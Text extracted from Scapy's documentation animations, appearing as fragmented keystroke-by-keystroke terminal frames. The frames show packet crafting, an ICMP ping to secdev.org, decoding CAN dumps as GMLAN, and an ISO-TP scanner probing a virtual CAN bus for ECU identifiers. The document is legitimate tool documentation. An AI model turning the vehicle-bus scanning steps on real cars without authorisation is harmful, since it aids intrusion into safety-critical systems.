sock.sniff(timeout=1, started_callback=send) >>> pkts = sock.sniff(timeout=1, started_callback=sendF) >>> pkts = sock.sniff(timeout=1, started_callback=sendFunction) >>> pkts = sock.sniff(timeout=1, started_callback=sendFunction) >>> pkts = sock.sniff(timeout=1, started_callback=sendFunction) >>> scapy-2.4.4/doc/scapy/graphics/animations/animation-scapy-demo.svg000077500000000000000000006210671372370053500252510ustar00rootroot00000000000000 demo@scapy:~/github/scapy# demo@scapy:~/github/scapy# s demo@scapy:~/github/scapy# su demo@scapy:~/github/scapy# sud demo@scapy:~/github/scapy# sudo demo@scapy:~/github/scapy# sudo demo@scapy:~/github/scapy# sudo . demo@scapy:~/github/scapy# sudo ./ demo@scapy:~/github/scapy# sudo ./r demo@scapy:~/github/scapy# sudo ./ru demo@scapy:~/github/scapy# sudo ./run_scapy WARNING: No route found for IPv6 destination :: (no default route?) e apyyyyCY//////////YCa | >>> >>> e >>> ex >>> exp >>> expl >>> explo >>> explor >>> explore >>> explore( >>> explore() demo@scapy:~/github/scapy# sudo ./run_scapyINFO: Can't import matplotlib. Won't be able to plot.WARNING: No route found for IPv6 destination :: (no default route?)e aSPY//YASa apyyyyCY//////////YCa | sY//////YSpcs scpCY//Pp | Welcome to Scapy ayp ayyyyyyySCP//Pp syY//C | Version 2.4.2.dev228 AYAsAYYYYYYYY///Ps cY//S | pCCCCY//p cSSps y//Y | https://github.com/secdev/scapy SPPPP///a pP///AC//Y | A//A cyP////C | Have fun! p///Ac sC///a | P////YCpc A//A | We are in France, we say Skappee. scccccp///pSP///p p//Y | OK? Merci. sY/////////y caa S//P | -- Sebastien Chabal cayCyayP//Ya pY/Ya | sY/PsY////YCc aC//Yp sc sccaCY//PCypaapyCP//YSs spCPY//////YPSps ccaacs using IPython 7.2.0>>> explore() ┌────────────────────────| Scapy v2.4.2.dev228 |────────────────────────┠│ │ │ Chose the type of packets you want to explore: │ │ < Layers > < Contribs > < Cancel > │ └───────────────────────────────────────────────────────────────────────┘ │ │ < Layers > < Contribs > < Cancel > │ │ │ │ │ │ ( ) IPv4 (Internet Protoco │ ( ) Bluetooth 4LE layer │ ( ) Wireless MAC according to IEEE 802.15.4. │ │ ( ) IrDA infrared data co │ ( ) LLMNR (Link Local Multicast Node Resolution). │ (*) Packet class. Binding mechanism. fuzz() method. ^ │ └─────────────────────────────────────────────── │ (*) Packet class. Binding mechanism. fuzz() method. ^ │ │ ( ) ASN.1 Packet │ │ ( ) ASN.1 Packet │ │ ( ) Bluetooth layers, sockets and send/receive functions. │ │ ( ) Bluetooth layers, sockets and send/receive functions. │ │ ( ) Classes and functions for layer 2 protocols. │ │ ( ) Classes and functions for layer 2 protocols. │ │ ( ) IPv4 (Internet Protocol v4). │ │ ( ) IPv4 (Internet Protocol v4). │ │ (*) IPv4 (Internet Protocol v4). │ │ < Ok > < Cancel > │ ┌───────────────────────────────────────────| Scapy v2.4.2.dev228 |────────────────────────────────────────────┠│ Please select a layer among the following, to see all packets contained in it: │ │ ( ) IPv6 (Internet Protocol v6). │ │ ( ) Wireless LAN according to IEEE 802.11. │ │ ( ) Per-Packet Information (PPI) Protocol │ │ ( ) Bluetooth 4LE layer │ │ ( ) DHCP (Dynamic Host Configuration Protocol) and BOOTP │ │ ( ) DHCPv6: Dynamic Host Configuration Protocol for IPv6. [RFC 3315] │ │ ( ) DNS: Domain Name System. │ │ ( ) Extensible Authentication Protocol (EAP) │ │ ( ) GPRS (General Packet Radio Service) for mobile data communication. │ │ ( ) HSRP (Hot Standby Router Protocol): proprietary redundancy protocol for Cisco routers. # noqa: E501 │ │ ( ) IPsec layer │ │ ( ) IrDA infrared data communication. │ │ ( ) ISAKMP (Internet Security Association and Key Management Protocol). │ │ ( ) PPP (Point to Point Protocol) │ │ ( ) L2TP (Layer 2 Tunneling Protocol) for VPNs. │ │ ( ) LLMNR (Link Local Multicast Node Resolution). v │ └──────────────────────────────────────────────────────────────────────────────────────────────────────────────┘ │ ( ) Packet class. Binding mechanism. fuzz() method. ^ │ │ (*) IPv4 (Internet Protocol v4). │ │ < Ok > < Cancel > │ │ ( ) ASN.1 Packet │ ( ) DHCPv6: Dynamic Host Configuration Protocol for IPv │ ( ) GPRS (General Packet Radio Service) for mobile data communication. │ < Ok > < Cancel > │ Packets contained in scapy.layers.inet: Class |Name--------------------------|------- --------------------------|-------------------------------------------ICMP |ICMPICMPerror |ICMP in ICMPIP |IPIPOption |IP OptionIPOption_Address_Extension|IP Option Address ExtensionIPOption_EOL |IP Option End of Options ListIPOption_LSRR |IP Option Loose Source and Record RouteIPOption_MTU_Probe |IP Option MTU ProbeIPOption_MTU_Reply |IP Option MTU ReplyIPOption_NOP |IP Option No OperationIPOption_RR |IP Option Record RouteIPOption_Router_Alert |IP Option Router AlertIPOption_SDBM |IP Option Selective Directed Broadcast ModeIPOption_SSRR |IP Option Strict Source and Record RouteIPOption_Security |IP Option SecurityIPOption_Stream_Id |IP Option Stream IDIPOption_Traceroute |IP Option TracerouteIPerror |IP in ICMPTCP |TCPTCPerror |TCP in ICMPUDP >>> l >>> ls >>> ls( >>> ls(I >>> ls(IP >>> ls(IP) UDP |UDPUDPerror |UDP in ICMP>>> ls(IP) >>> p >>> pk >>> pkt >>> pkt >>> pkt = >>> pkt = >>> pkt = I >>> pkt = IP >>> pkt = IP( >>> pkt = IP(d >>> pkt = IP(ds >>> pkt = IP(dst >>> pkt = IP(dst= >>> pkt = IP(dst=" >>> pkt = IP(dst="w >>> pkt = IP(dst="ww >>> pkt = IP(dst="www >>> pkt = IP(dst="www. >>> pkt = IP(dst="www.s >>> pkt = IP(dst="www.se >>> pkt = IP(dst="www.sec >>> pkt = IP(dst="www.secd >>> pkt = IP(dst="www.secde >>> pkt = IP(dst="www.secdev >>> pkt = IP(dst="www.secdev. >>> pkt = IP(dst="www.secdev.o >>> pkt = IP(dst="www.secdev.or >>> pkt = IP(dst="www.secdev.org >>> pkt = IP(dst="www.secdev.org" >>> pkt = IP(dst="www.secdev.org") >>> pkt = IP(dst="www.secdev.org")/ >>> pkt = IP(dst="www.secdev.org")/I >>> pkt = IP(dst="www.secdev.org")/IC >>> pkt = IP(dst="www.secdev.org")/ICM >>> pkt = IP(dst="www.secdev.org")/ICMP >>> pkt = IP(dst="www.secdev.org")/ICMP( version : BitField (4 bits) = (4) ihl : BitField (4 bits) = (None)tos : XByteField = (0)len : ShortField = (None)id : ShortField = (1)flags : FlagsField (3 bits) = (<Flag 0 ()>)frag : BitField (13 bits) = (0)ttl : ByteField = (64)proto : ByteEnumField = (0)chksum : XShortField = (None)src : SourceIPField = (None)dst : DestIPField = (None)options : PacketListField = ([])>>> pkt = IP(dst="www.secdev.org")/ICMP() >>> pkt. >>> pkt.s >>> pkt.sh >>> pkt.sho >>> pkt.show >>> pkt.show2 >>> pkt.show2( >>> pkt.show2() >>> pkt = IP(dst="www.secdev.org")/ICMP() >>> pkt.show2() >>> >>> s ###[ IP ]### version= 4 ihl= 5 tos= 0x0 len= 28 id= 1 flags= frag= 0 ttl= 64 proto= icmp chksum= 0x875a src= 212.83.148.19 dst= 217.25.178.5 \options\###[ ICMP ]### type= echo-request code= 0 chksum= 0xf7ff id= 0x0 seq= 0x0>>> sr >>> sr sr() sr1flood() srbt1() srloop() srp1() srpflood() sr1() srbt() srflood() srp() srp1flood() srploop() sr() sr1flood() srbt1() srloop() srp1() srpflood() >>> sr1 >>> sr1 function(x, promisc, filter, iface, nofilter, args, kargs) sr1() srbt() srflood() srp() srp1flood() srploop() >>> sr1( >>> sr1( >>> sr1(p >>> sr1(pk >>> sr1(pkt >>> sr1(pkt) .... ..... . >>> sr1(pkt) Begin emission: .....Finished sending 1 packets. .* Received 7 packets, got 1 answers, remaining 0 packets<IP version=4 ihl=5 tos=0x0 len=28 id=21006 flags= frag=0 ttl=60 proto=icmp chksum=0x394d src=217.25.178.5 dst=212.83.148.19 |<ICMP type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |<Padding load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>> >>> _ >>> _. >>> _.s >>> _.sh >>> _.sho >>> _.show >>> _.show( x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>>>>> _.show() >>> _.show() id= 21006 ttl= 60 chksum= 0x394d src= 217.25.178.5 dst= 212.83.148.19 type= echo-reply chksum= 0xffff###[ Padding ]### load= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'demo@scapy:~/github/scapy# >>> demo@scapy:~/github/scapy# exit demo@scapy:~/github/scapy# exit scapy-2.4.4/doc/scapy/graphics/animations/animation-scapy-gmlan.svg000077500000000000000000005560351372370053500254250ustar00rootroot00000000000000 cars@scapy ~/r/t/a/p/folders 2019> cars@scapy ~/r/t/a/p/folders 2019> cat candump.txt cars@scapy ~/r/t/a/p/folders 2019> cat candump.txt cars@scapy ~/r/t/a/p/folders 2019> cat candump.txt cars@scapy ~/r/t/a/p/folders 2019> cat candump.txt cars@scapy ~/r/t/a/p/folders 2019> cat candump.txt cars@scapy ~/r/t/a/p/folders 2019> cat candump.txt cars@scapy ~/r/t/a/p/folders 2019> scapy cars@scapy ~/r/t/a/p/folders 2019> scapy cars@scapy ~/r/t/a/p/folders 2019> scapy cars@scapy ~/r/t/a/p/folders 2019> scapy cars@scapy ~/r/t/a/p/folders 2019> scapy Welcome to fish, the friendly interactive shellcars@scapy ~/r/t/a/p/folders 2019> cat candump.txt (1546870573.230900) can0 247#03AA0111(1546870573.256681) can0 547#11FFF000FCF9F000cars@scapy ~/r/t/a/p/folders 2019> scapy INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().>>> aSPY//YASa apyyyyCY//////////YCa | sY//////YSpcs scpCY//Pp | Welcome to Scapy ayp ayyyyyyySCP//Pp syY//C | Version 2.4.0.dev709 AYAsAYYYYYYYY///Ps cY//S | pCCCCY//p cSSps y//Y | https://github.com/secdev/scapy SPPPP///a pP///AC//Y | A//A cyP////C | Have fun! p///Ac sC///a | P////YCpc A//A | We are in France, we say Skappee. scccccp///pSP///p p//Y | OK? Merci. sY/////////y caa S//P | -- Sebastien Chabal cayCyayP//Ya pY/Ya | sY/PsY////YCc aC//Yp sc sccaCY//PCypaapyCP//YSs spCPY//////YPSps ccaacs using IPython 7.1.1>>> I-search backward: >>> load_contrib("automotive.gm.gmlan") I-search backward: l >>> load_contrib("automotive.gm.gmlan") I-search backward: lo >>> load_contrib("automotive.gm.gmlan") I-search backward: loa >>> load_contrib("automotive.gm.gmlan") I-search backward: load >>> load_contrib("automotive.gm.gmlan") >>> load_contrib("automotive.gm.gmlan") >>> load_contrib("automotive.gm.gmlan") I-search backward: load_ >>> load_contrib("automotive.gm.gmlan") I-search backward: load_c >>> load_contrib("automotive.gm.gmlan") I-search backward: load_co I-search backward: load_con >>> load_contrib("automotive.gm.gmlan") >>> load_contrib("automotive.gm.gmlan") I-search backward: load_cont >>> load_contrib("automotive.gm.gmlan") I-search backward: load_contr >>> load_contrib("automotive.gm.gmlan") I-search backward: load_contri >>> load_contrib("automotive.gm.gmlan") I-search backward: load_contrib >>> load_contrib("automotive.gm.gmlan") I-search backward: load_contrib( >>> load_contrib("automotive.gm.gmlan") I-search backward: load_contrib(" >>> load_contrib("isotp") I-search backward: load_contrib("i >>> load_contrib("isotp") >>> load_contrib("isotp") INFO: Specify 'conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True}' to enable usage of can-isotp kernel module.>>> load_contrib("isotp") >>> load_contrib("isotp") >>> load_contrib("isotp") >>> load_contrib("isotp") I-search backward: load_l >>> load_layer("can") >>> load_layer("can") >>> p >>> pk >>> pkt >>> pkts >>> pkts= >>> pkts= >>> pkts >>> pkts = >>> pkts = >>> pkts = r >>> pkts = rd >>> pkts = rdc >>> load_layer("can") >>> pkts = rdca >>> pkts = rdcandump >>> pkts = rdcandump( >>> pkts = rdcandump(" >>> pkts = rdcandump("c >>> pkts = rdcandump("ca >>> pkts = rdcandump("can candump-2019-01-23_074738.log candump.txt >>> pkts = rdcandump("candump candump-2019-01-23_074738.log candump.txt >>> pkts = rdcandump("candump. >>> pkts = rdcandump("candump.t >>> pkts = rdcandump("candump.tx >>> pkts = rdcandump("candump.txt >>> pkts = rdcandump("candump.txt" >>> pkts = rdcandump("candump.txt"_ >>> pkts = rdcandump("candump.txt") >>> I >>> Is >>> pkts = rdcandump("candump.txt") >>> pkts [<CAN identifier=0x247 length=4 data='\x03\xaa\x01\x11' |>, <CAN identifier=0x547 length=8 data='\x11\xff\xf0\x00\xfc\xf9\xf0\x00' |>] >>> IS ISAKMP ISAKMPTransformTypes ISAKMP_payload_Hash ISAKMP_payload_Proposal ISAKMPAttributeTypes ISAKMP_class ISAKMP_payload_ID ISAKMP_payload_SA ISAKMPTransformNum ISAKMP_exchange_type ISAKMP_payload_KE ISAKMP_payload_Transform > ISAKMPTransformSetField ISAKMP_payload ISAKMP_payload_Nonce ISAKMP_payload_VendorID >>> ISO >>> ISOTP ISOTP ISOTPNativeSocket ISOTPSoftSocket ISOTP_SF ISOTP ISOTPNativeSocket ISOTPSoftSocket ISOTP_SF ISOTPHeader ISOTPSniffer ISOTP_CF >>> ISOTPHeader ISOTPHeader ISOTPSniffer ISOTP_CF ISOTPHeaderEA ISOTPSocket ISOTP_FC ISOTPMessageBuilder ISOTPSocketImplementation ISOTP_FF <unknown> >>> ISOTPHeader( >>> ISOTPHeader(b >>> ISOTPHeader(by >>> ISOTPHeader(byt >>> ISOTPHeader(byte >>> ISOTPHeader(bytes >>> ISOTPHeader(bytes( >>> ISOTPHeader(bytes(p >>> ISOTPHeader(bytes(pk >>> ISOTPHeader(bytes(pkt >>> ISOTPHeader(bytes(pkts >>> ISOTPHeader(bytes(pkts[ >>> ISOTPHeader(bytes(pkts[0 >>> ISOTPHeader(bytes(pkts[0[ >>> ISOTPHeader(bytes(pkts[0] >>> ISOTPHeader(bytes(pkts[0]) >>> ISOTPHeader(bytes(pkts[0])_ >>> ISOTPHeader(bytes(pkts[0])) >>> ISOTPHeader(bytes(pkts[0])). >>> ISOTPHeader(bytes(pkts[0])).d >>> ISOTPHeader(bytes(pkts[0])).da >>> ISOTPHeader(bytes(pkts[0])).dat >>> ISOTPHeader(bytes(pkts[0])).data >>> ISOTPHeader(bytes(pkts[0])).data >>> ISOTPHeader(bytes(pkts[0])).data >>> ISOTPHeader(bytes(pkts[0])).data >>> ISOTPHeader(bytes(pkts[0])).data >>> ISOTPHeader(bytes(pkts[0])).data >>> ISOTPHeader(bytes(pkts[0])).data >>> ISOTPHeader(bytes(pkts[0])).data >>> ISOTPHeader(bytes(pkts[0])).data >>> GISOTPHeader(bytes(pkts[0])).data >>> GMISOTPHeader(bytes(pkts[0])).data >>> GMLISOTPHeader(bytes(pkts[0])).data >>> GMLAISOTPHeader(bytes(pkts[0])).data >>> GMLANISOTPHeader(bytes(pkts[0])).data >>> GMLAN(ISOTPHeader(bytes(pkts[0])).data >>> GMLAN(ISOTPHeader(bytes(pkts[0])).data >>> GMLAN(ISOTPHeader(bytes(pkts[0])).data >>> GMLAN(ISOTPHeader(bytes(pkts[0])).data >>> GMLAN(ISOTPHeader(bytes(pkts[0])).data >>> GMLAN(ISOTPHeader(bytes(pkts[0])).data >>> GMLAN(ISOTPHeader(bytes(pkts[0])).data) >>> ISOTPHeader(bytes(pkts[0])) >>> ISOTPHeader(bytes(pkts[0])) >>> ISOTPHeader(bytes(pkts[0])) >>> ISOTPHeader(bytes(pkts[])) >>> ISOTPHeader(bytes(pkts[1])) >>> ISOTPHeader(bytes(pkts[0])) <ISOTPHeader flags= identifier=0x247 length=4 reserved=0 |<ISOTP_SF type=single message_size=3 data='\xaa\x01\x11' |>>>>> GMLAN(ISOTPHeader(bytes(pkts[0])).data) <GMLAN service=ReadDataByPacketIdentifier |<GMLAN_RDBPKTI subfunction=sendOneResponse request_DPIDs=[0x11] |>> >>> ISOTPHeader(bytes(pkts[1])) >>> ISOTPHeader(bytes(pkts[1])) >>> ISOTPHeader(bytes(pkts[1])) >>> ISOTPHeader(bytes(pkts[1]) >>> ISOTPHeader(bytes(pkts[1]) >>> ISOTPHeader(bytes(pkts[1]) >>> ISOTPHeader(bytes(pkts[1]) >>> ISOTPHeader(bytes(pkts[1]) >>> ISOTPHeader(bytes(pkts[1]) >>> ISOTPHeader(bytes(pkts[1]) >>> ISOTPHeader(bytes(pkts[1]) >>> ISOTPHeader(bytes(pkts[1]) >>> ISOTPHeader(bytes(pkts[1]) >>> ISOTPHeader(bytes(pkts[1]) >>> ISOTPHeader(bytespkts[1]) >>> ISOTPHeader(bytpkts[1]) >>> ISOTPHeader(bypkts[1]) >>> ISOTPHeader(bpkts[1]) >>> ISOTPHeader(pkts[1]) >>> ISOTPHeaderpkts[1]) >>> ISOTPHeadepkts[1]) >>> ISOTPHeadpkts[1]) >>> ISOTPHeapkts[1]) >>> ISOTPHepkts[1]) >>> ISOTPHpkts[1]) >>> ISOTPpkts[1]) >>> ISOTpkts[1]) >>> ISOpkts[1]) >>> ISpkts[1]) >>> Ipkts[1]) >>> pkts[1]) >>> pkts[1]) >>> pkts[1]) >>> pkts[1]) >>> pkts[1]) >>> pkts[1]) >>> pkts[1]) >>> pkts[1]) >>> pkts[1]) <ISOTPHeader flags= identifier=0x547 length=8 reserved=0 |<ISOTP_FF type=first message_size=511 data='\xf0\x00\xfc\xf9\xf0\x00' |>>>>> pkts[1] >>> pkts[1] <CAN identifier=0x547 length=8 data='\x11\xff\xf0\x00\xfc\xf9\xf0\x00' |> >>> cars@scapy ~/r/t/a/p/folders 2019> scapy-2.4.4/doc/scapy/graphics/animations/animation-scapy-isotpscan.svg000066400000000000000000006644421372370053500263310ustar00rootroot00000000000000 user@system ~> user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v user@system ~> pt user@system ~> ptar user@system ~> p user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v user@system ~> python3 -m scapy user@system ~> python3 -m scapy user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff - user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -h Welcome to fish, the friendly interactive shelluser@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -h see examples below. Any python-can interface can be provided. Please see: https://python-can.readthedocs.io for further interface examples. -b, --bitrate python-can bitrate. optional arguments: -h, --help show this help message and exit -n NOISE_LISTEN_TIME, --noise_listen_time NOISE_LISTEN_TIME Seconds listening for noise before scan. -t SNIFF_TIME, --sniff_time SNIFF_TIME Duration in milliseconds a sniff is waiting for a flow-control response. -x, --extended Scan with ISOTP extended addressing. -C, --piso Print 'Copy&Paste'-ready ISOTPSockets. -v, --verbose Display information during scan. Example of use: Python2 or Windows: python2 -m scapy.tools.automotive.isotpscanner --interface=pcan --channel=PCAN_USBBUS1 --bitrate=250000 --start 0 --end 100 python2 -m scapy.tools.automotive.isotpscanner --interface vector --channel 0 --bitrate 250000 --start 0 --end 100 python2 -m scapy.tools.automotive.isotpscanner --interface socketcan --channel=can0 --bitrate=250000 --start 0 --end 100 Python3 on Linux: python3 -m scapy.tools.automotive.isotpscanner --channel can0 --start 0 --end 100 user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v Start scan (0x700 - 0x7ff)Filtering background noise...[+] Found flow-control frame from identifier 0x701 when testing identifier 0x700[+] Found flow-control frame from identifier 0x707 when testing identifier 0x709[+] Found flow-control frame from identifier 0x788 when testing identifier 0x71c[+] Found flow-control frame from identifier 0x745 when testing identifier 0x799[+] Found flow-control frame from identifier 0x703 when testing identifier 0x7aa[+] Found flow-control frame from identifier 0x7bb when testing identifier 0x7ccScan: Found 6 ISOTP-FlowControl Packet(s):Send to ID: 0x700Received ID: 0x701Message: <CAN flags= identifier=0x701 length=3 reserved=196608 data='0\x00\x00' |>No PaddingSend to ID: 0x709Received ID: 0x707Message: <CAN flags= identifier=0x707 length=8 reserved=0 data='0\x00\x00\xaa\xaa\xaa\xaa\xaa' |>Padding enabledSend to ID: 0x71cReceived ID: 0x788Message: <CAN flags= identifier=0x788 length=3 reserved=0 data='0\x00\x00' |>Send to ID: 0x799Received ID: 0x745Message: <CAN flags= identifier=0x745 length=8 reserved=196608 data='0\x00\x00\xaa\xaa\xaa\xaa\xaa' |>Send to ID: 0x7aaReceived ID: 0x703Message: <CAN flags= identifier=0x703 length=8 reserved=0 data='0\x00\x00\xaa\xaa\xaa\xaa\xaa' |>Send to ID: 0x7ccRecei user@system ~> exit user@system ~> echo "if you are lazy, get a copy and paste ready output" user@system ~> echo "if you are lazy, get a copy and paste ready output" user@system ~> echo "if you are lazy, get a copy and paste ready output" Received ID: 0x7bbMessage: <CAN flags= identifier=0x7bb length=3 reserved=9633791 data='0\x00\x00' |>user@system ~> echo "if you are lazy, get a copy and paste ready output" user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v -C user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v -c user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v - user@system ~> echo "if you are lazy, get a copy and paste ready output" if you are lazy, get a copy and paste ready outputuser@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v -C user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v -C user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v -C user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v -C user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v -C user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v -C user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v -C user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v -C user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v -C user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v -C user@system ~> python3 0 user@system ~> python3 user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v -C user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v -C user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v -C user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v -C user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v -C user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v -C user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v -C user@system ~> python3 -m scapy.tools.automotive.isotpscanner --channel vcan0 --start 700 --end 7ff -v -C import canconf.contribs['CANSocket'] = {'use-python-can': False}load_contrib('cansocket')load_contrib('isotp')ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP)ISOTPSocket("vcan0", sid=0x709, did=0x707, padding=True, basecls=ISOTP)ISOTPSocket("vcan0", sid=0x71c, did=0x788, padding=False, basecls=ISOTP)ISOTPSocket("vcan0", sid=0x799, did=0x745, padding=True, basecls=ISOTP)ISOTPSocket("vcan0", sid=0x7aa, did=0x703, padding=True, basecls=ISOTP)ISOTPSocket("vcan0", sid=0x7cc, did=0x7bb, padding=False, basecls=ISOTP)user@system ~> python3 -m scapy aSPY//YASa apyyyyCY//////////YCa | sY//////YSpcs scpCY//Pp | Welcome to Scapy ayp ayyyyyyySCP//Pp syY//C | Version git-archive.dev304758016 AYAsAYYYYYYYY///Ps cY//S | pCCCCY//p cSSps y//Y | https://github.com/secdev/scapy SPPPP///a pP///AC//Y | A//A cyP////C | Have fun! p///Ac sC///a | P////YCpc A//A | Wanna support scapy? Rate it on scccccp///pSP///p p//Y | sectools! sY/////////y caa S//P | http://sectools.org/tool/scapy/ cayCyayP//Ya pY/Ya | -- Satoshi Nakamoto sY/PsY////YCc aC//Yp | sc sccaCY//PCypaapyCP//YSs spCPY//////YPSps ccaacs using IPython 7.6.1>>> >>> c >>> co >>> con >>> I-search backward: ...: socks = [ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP), ...: ISOTPSocket("vcan0", sid=0x709, did=0x707, padding=True, basecls=ISOTP), ...: ISOTPSocket("vcan0", sid=0x71c, did=0x788, padding=False, basecls=ISOTP), ...: ISOTPSocket("vcan0", sid=0x799, did=0x745, padding=True, basecls=ISOTP), ...: ISOTPSocket("vcan0", sid=0x7aa, did=0x703, padding=True, basecls=ISOTP), ...: ISOTPSocket("vcan0", sid=0x7cc, did=0x7bb, padding=False, basecls=ISOTP)] I-search backward: I ...: ISOTPSocket("vcan0", sid=0x7cc, did=0x7bb, padding=False, basecls=ISOTP)] I-search backward: IS ...: ISOTPSocket("vcan0", sid=0x7cc, did=0x7bb, padding=False, basecls=ISOTP)] I-search backward: ISO ...: ISOTPSocket("vcan0", sid=0x7cc, did=0x7bb, padding=False, basecls=ISOTP)] I-search backward: ISOT >>> import can ...: conf.contribs['CANSocket'] = {'use-python-can': False} ...: load_contrib('cansocket') ...: load_contrib('isotp') ...: ...: ISOTPSocket("vcan0", sid=0x7cc, did=0x7bb, padding=False, basecls=ISOTP)] I-search backward: ISOTP >>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True} I-search backward: ISOTP' >>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True} >>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True} .. ...: ISOTPSocket("vcan0", sid=0x7cc, did=0x7bb, padding=False, basecls=ISOTP) ...: ...: ISOTPSocket("vcan0", sid=0x7aa, did=0x703, padding=True, basecls=ISOTP) ...: ISOTPSocket("vcan0", sid=0x7cc, did=0x7bb, padding=False, basecls=ISOTP) ...: ISOTPSocket("vcan0", sid=0x799, did=0x745, padding=True, basecls=ISOTP) ...: ISOTPSocket("vcan0", sid=0x7aa, did=0x703, padding=True, basecls=ISOTP) ...: ISOTPSocket("vcan0", sid=0x71c, did=0x788, padding=False, basecls=ISOTP) ...: ISOTPSocket("vcan0", sid=0x799, did=0x745, padding=True, basecls=ISOTP) ...: ISOTPSocket("vcan0", sid=0x709, did=0x707, padding=True, basecls=ISOTP) ...: ISOTPSocket("vcan0", sid=0x71c, did=0x788, padding=False, basecls=ISOTP) ...: ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: ISOTPSocket("vcan0", sid=0x709, did=0x707, padding=True, basecls=ISOTP) ...: ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: sISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: soISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: sockISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socksISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks =ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = ISOTPSocket("vcan0", sid=0x700, did=0x701, padding=False, basecls=ISOTP) ...: socks = [ISOTPSocket("vcan0", sid=0x700, 